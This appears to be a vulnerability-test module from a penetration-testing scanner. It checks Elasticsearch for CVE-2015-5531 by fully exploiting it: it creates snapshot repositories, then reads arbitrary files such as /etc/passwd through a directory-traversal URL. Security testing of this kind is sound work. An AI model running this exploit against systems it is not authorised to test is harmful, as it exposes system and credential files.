"""
Elasticsearch CVE-2015-5531 test

This module implements a test to see if the host is vulnerable to CVE-2015-5531

https://nvd.nist.gov/vuln/detail/CVE-2015-5531

Contains:
- Vuln class for performing the test
- run() function as an entry point for running the test
"""

import http
from http import HTTPStatus
from ptlibs import ptjsonlib
from ptlibs.ptprinthelper import ptprint
from packaging.version import Version
from urllib.parse import quote_plus
import re
from pathlib import Path
import json


__TESTLABEL__ = "Elasticsearch CVE-2015-5531 test"


class Vuln:
    """
    This class checks to see if the host is vulnerable to CVE-2015-5531 by first checking if the Elasticsearch version is vulnerable
    and then trying to exploit the vulnerability by reading the file specified by the -F switch on the host
    """
    def __init__(self, args: object, ptjsonlib: object, helpers: object, http_client: object, base_response: object) -> None:
        self.args = args
        self.ptjsonlib = ptjsonlib
        self.helpers = helpers
        self.http_client = http_client
        self.base_response = base_response
        self.helpers.print_header(__TESTLABEL__)
        self.cve_id = Path(__file__).stem.upper()


    def _check_version(self) -> None:
        """
        This method compares the version of Elasticsearch running on the host to check if it is < 1.6.1 and thus vulnerable to CVE-2015-5531
        """
        version = Version(self.base_response.json()["version"]["number"])

        if version < Version("1.6.1"):
            ptprint(f"Elasticsearch {version} should be vulnerable to {self.cve_id}", "INFO", not self.args.json, indent=4)
            return

        ptprint(f"Elasticsearch {version} might not be vulnerable to {self.cve_id}", "INFO", not self.args.json, indent=4)


    def _create_repo(self) -> bool:
        """
        This method is the first part of the exploit. It creates a backup repository at /usr/share/elasticsearch/repo/test

        :return: True if the repo was successfully created. False otherwise
        """
        new_repository = '{"type": "fs", "settings": {"location": "/usr/share/elasticsearch/repo/test"}}'
        url = self.args.url + '_snapshot/test'
        headers = {"Content-Type": "application/json"}

        ptprint(f"Creating new backup repository {new_repository} at {url}", "ADDITIONS",
                self.args.verbose, indent=4, colortext=True)

        response = self.http_client.send_request(method="PUT", url=url, headers=headers, data=new_repository)

        if response.status_code != HTTPStatus.OK:
            ptprint(f"Could not create backup repository: Received response: {response.status_code} {json.dumps(response.json(), indent=4)}", "ADDITIONS",
                    self.args.verbose, indent=4, colortext=True)
            return False

        return True


    def _create_snapshot(self) -> bool:
        """
        This method is the second part of the exploit. It creates a new snapshot called backdata at /usr/share/elasticsearch/repo/test/snapshot-backdata

        :return: True if the snapshot was successfully created. False otherwise
        """
        new_snapshot = '{"type": "fs", "settings": {"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"}}'
        url = self.args.url + '_snapshot/test2'
        headers = {"Content-Type": "application/json"}

        ptprint(f"Creating new snapshot {new_snapshot} at {url}", "ADDITIONS", self.args.verbose, indent=4, colortext=True)

        response = self.http_client.send_request(method="PUT", url=self.args.url + "_snapshot/test2", headers=headers,
                                                 data=new_snapshot)

        if response.status_code != HTTPStatus.OK:
            ptprint(f"Could not create snapshot: Received response: {response.status_code} {json.dumps(response.json(), indent=4)}",
                    "ADDITIONS",
                    self.args.verbose, indent=4, colortext=True)
            return False

        return True


    def _read_file(self) -> bool:
        """
        This method is the third and final part of the exploit. It abuses the directory traversal vulnerability and tries to read the /etc/passwd file

        :return: True if we get an 400 HTTP response (whether we could isolate and read the file from the response or not). False otherwise
        """
        file = self.args.file

        url = self.args.url + "_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f.."+quote_plus(file)

        response = self.http_client.send_request(method="GET", url=url, headers=self.args.headers,
                                                 follow_redirects=False)

        if response.status_code != HTTPStatus.BAD_REQUEST:
            ptprint(f"Could not read {file}. Received response: {response.status_code} {json.dumps(response.json(), indent=4)}", "ADDITIONS",
                    self.args.verbose, indent=4, colortext=True)
            return False

        ascii_list = re.search(r"\[(\d+(?:,\s*\d+)*)\]", response.json()["error"])

        if not ascii_list:
            ptprint(f"Could not isolate file from response. Full response:\n {json.dumps(response.json(), indent=4)}", "INFO",
                    not self.args.json, indent=4)
            content_node = self.ptjsonlib.create_node_object("file", properties={"name": file, "fileContent": response.text})

        else:
            ascii_list = ascii_list.group(0)[1:-1].split(', ')
            file_content = ''.join([chr(int(letter)) for letter in ascii_list])
            ptprint(f"Contents of {file}: {file_content}", "INFO",
                    not self.args.json, indent=4)
            content_node = self.ptjsonlib.create_node_object("file", properties={"name": file, "fileContent": file_content})

        self.ptjsonlib.add_node(content_node)
        return True


    def _exploit(self) -> bool:
        """
        This method exploits CVE-2015-5531 and consists of 3 parts:

        1. Creates a new backup repository with the _create_repo() method
        2. Creates a new snapshot with the _create_snapshot() method
        3. Tries to read the /etc/passwd file

        The exploit is based on the CVE-2015-5531 PoC by vulhub.
        Available at: https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-5531

        :return: True if all parts of the exploit were successful. False otherwise
        """
        return self._create_repo() and self._create_snapshot() and self._read_file()


    def run(self) -> None:
        """
        Executes the Elasticsearch CVE-2015-5531 test by first checking if the version might be vulnerable and then exploiting
        the vulnerability with the _exploit() method. If the exploit is successful, CVE-2015-5531 is added to the JSON output
        """
        self._check_version()

        if self._exploit():
            ptprint(f"The host is vulnerable to {self.cve_id}", "VULN", not self.args.json, indent=4)
            es_node_key = self.helpers.check_node("swES")
            if es_node_key:
                self.ptjsonlib.add_vulnerability(f"PTV-{self.cve_id}", node_key=es_node_key)
            else:
                self.ptjsonlib.add_vulnerability(f"PTV-{self.cve_id}")

        else:
            ptprint(f"The host is not vulnerable to {self.cve_id}", "OK", not self.args.json, indent=4)


def run(args, ptjsonlib, helpers, http_client, base_response):
    """Entry point for running the Vuln test"""
    Vuln(args, ptjsonlib, helpers, http_client, base_response).run()
